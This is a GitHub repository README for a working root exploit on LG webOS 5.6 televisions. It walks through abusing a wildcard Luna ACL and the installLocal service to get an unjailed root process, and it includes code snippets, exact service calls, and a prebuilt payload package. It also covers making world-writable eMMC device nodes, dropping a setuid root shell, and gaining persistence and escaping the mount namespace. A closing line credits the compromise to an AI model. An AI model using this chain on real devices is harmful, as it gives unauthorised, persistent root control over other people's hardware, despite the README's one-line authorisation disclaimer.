Skip to content

About

Unjailed root on LG TV running webOS 5.6.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

1 Commit

Folders and files

Repository files navigation

webos5.6_root

dev-mode prisoner → root on LG webOS 5.6 TVs

Verified on an LG 2020-generation set: webOS 5.6.x, kernel 4.4.84, armv7l. It abuses two installer/ACL weaknesses:

  1. an over-broad Luna (LS2) client-permission wildcard that grants group all, and
  2. appInstallService/installLocal, which will install a privileged service package (com.palm.*) that dev/install refuses — the hub then spawns that service as root, unjailed.

Requirements

  • TV in Dev Mode with SSH (or telnet) enabled → a command channel as the prisoner user.
  • Optional: an arm-linux-gnueabihf toolchain to rebuild the helpers (build-helpers.sh); a prebuilt static rootsh ships in project.

The precondition that decides whether this works is the wildcard ACL, not the model:

ls  /usr/share/luna-service2/client-permissions.d/     # look for a rule like:
#   {"<preinstalled-app-id>-*": ["all"]}

If your set has a different wildcard, change the service name in chain.js to match it (new Service('<that-app-id>-x'), and the client-permission file must grant group all).

Files

file role
chain.js the exploit: claims the wildcard bus name → installLocal → createLSConfigFiles → exec
build_ipk.py builds the payload IPK (package com.palm.pwny, service com.palm.pwny.root)
pwny.ipk prebuilt payload, byte-identical to what build_ipk.py produces
run.sh driver: build → deploy → trigger → verify (~25 s)
rootsh.c, prebuilt/rootsh-armv7l static setuid-root helper: /tmp/rootsh -c 'id' → uid 0
hostsh.c setuid-root helper that also joins PID 1's mount namespace (host view)
tvreboot.c minimal reboot(2) helper
build-helpers.sh cross-compile instructions for the helpers

The chain

  1. Claim a bus name the ACL grants group all. In legacy ACG mode the hub keys client permissions on the registered client name, so a prisoner process can register a name matching a preinstalled app's wildcard (<app>-* → all) and inherit group all:
    var Service = require('webos-service');
    var svc = new Service('com.webos.app.dangbei-overlay-pwn');  // positional ctor
    process.exit = function () {};                               // library self-exits after ~2 s
  2. Install the payload (ACL-gated to appinstalld.internal):
    luna://com.webos.appInstallService/installLocal
    { id: "com.palm.pwny", ipkUrl: "/media/developer/temp/pwny.ipk",
      target: { deviceId: "INTERNAL_STORAGE", share: true }, subscribe: true }
    
    share must be nested under target. Only Dev-Mode-installed files land in the verified tree (/media/cryptofs/apps/usr/palm/...).
  3. Generate the LS2 registration: luna://com.webos.appInstallService/createLSConfigFiles { id: "com.palm.pwny" } → writes /var/luna-service2/services.d/com.palm.pwny.root.service and notifies the hub.
  4. Trigger it: call any method of luna://com.palm.pwny.root/... → the hub spawns /usr/bin/run-js-service -n .../services/com.palm.pwny.root → node as root, palm_jail=off.
  5. Bootstrap: the payload (runs on every spawn) does mknod for the eMMC nodes (/tmp/mmcblk0, /tmp/mmP27, /tmp/mmP59, 0666), installs the setuid helper (/media/developer/temp/rootsh → /tmp/rootsh, mode 6755) and exposes exec {cmd} → arbitrary command execution as root.

From then on root needs no Luna at all — a plain dev-mode session can run:

/tmp/rootsh -c 'id'      # uid=0(root) gid=0(root)
/tmp/rootsh              # interactive root shell

Persistence

  • /tmp/rootsh lives in /tmp (gone on reboot) and the LS2 service file is pruned at boot once the app is removed (appinstalld deletes orphaned registrations) — so both are session-only.
  • For durable root, copy a setuid helper to a partition that is rw and not mounted nosuid (check mount), e.g. a vendor/data partition, mode 4755 root:root. It then survives reboots and needs neither the app nor the service.
  • hostsh is the same idea plus setns(/proc/1/ns/mnt, CLONE_NEWNS): the dev-mode jail hides /usr/sbin, /var/luna-service2, /etc/palm, /mnt/lg/cmn_data, so anything using systemctl or those paths needs the host namespace.

Notes

  • Use only on devices you own or are explicitly authorised to test.
  • run.sh assumes OpenSSH to a dev-mode SSH port; adapt tv() for other channels.
  • pwned by Deepseek v4.1 Flash.

About

Unjailed root on LG TV running webOS 5.6.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages